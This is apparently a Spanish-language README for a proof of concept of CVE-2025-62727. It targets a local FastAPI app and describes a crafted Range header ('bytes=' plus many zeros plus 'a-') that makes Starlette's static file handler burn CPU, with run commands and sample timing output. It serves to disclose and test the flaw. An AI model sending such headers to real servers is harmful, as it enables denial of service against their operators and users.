
Prueba de concepto de CVE-2025-62727 que puede causar denegación de servicio en FastAPI (basado en Starlette <= 0.48.0)
La víctima objetivo de CVE-2025-62727 es una aplicación FastAPI sencilla que:
Hello World en /./static usando StaticFiles de Starlette.A repetida N veces para N en 1024, 2048, 50176 al iniciar.(Opcional) Crear y activar un virtualenv.
Instalar las dependencias:
pip install -r requirements.txt
Iniciar el servidor:
uvicorn main:app --reload
Abrir:
http://127.0.0.1:8000/ para la página de índice.http://127.0.0.1:8000/static/1024.txt etc. para los archivos estáticos.static/ al iniciar la aplicación. Los archivos existentes no se sobrescriben.StaticFiles de Starlette como se solicitó.El poc.py incluido desencadena un análisis de Range con uso intensivo de CPU en FileResponse de Starlette a través de la ruta /static usando un encabezado manipulado de la forma bytes=000...000a-.
Ejecute el servidor y, en otra terminal:
python3 poc.py --sizes 1000,2000,4000,7000
Sobrescriba la URL objetivo (opcional):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Notas:
http://127.0.0.1:8000/static/50176.txt por defecto (un archivo que la aplicación genera). Use --url para cambiarlo.--sizes hacia abajo si ve 400/431 (encabezado demasiado grande), o hacia arriba si los encabezados tienen éxito y desea un efecto más fuerte.Ejemplo de resultado:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms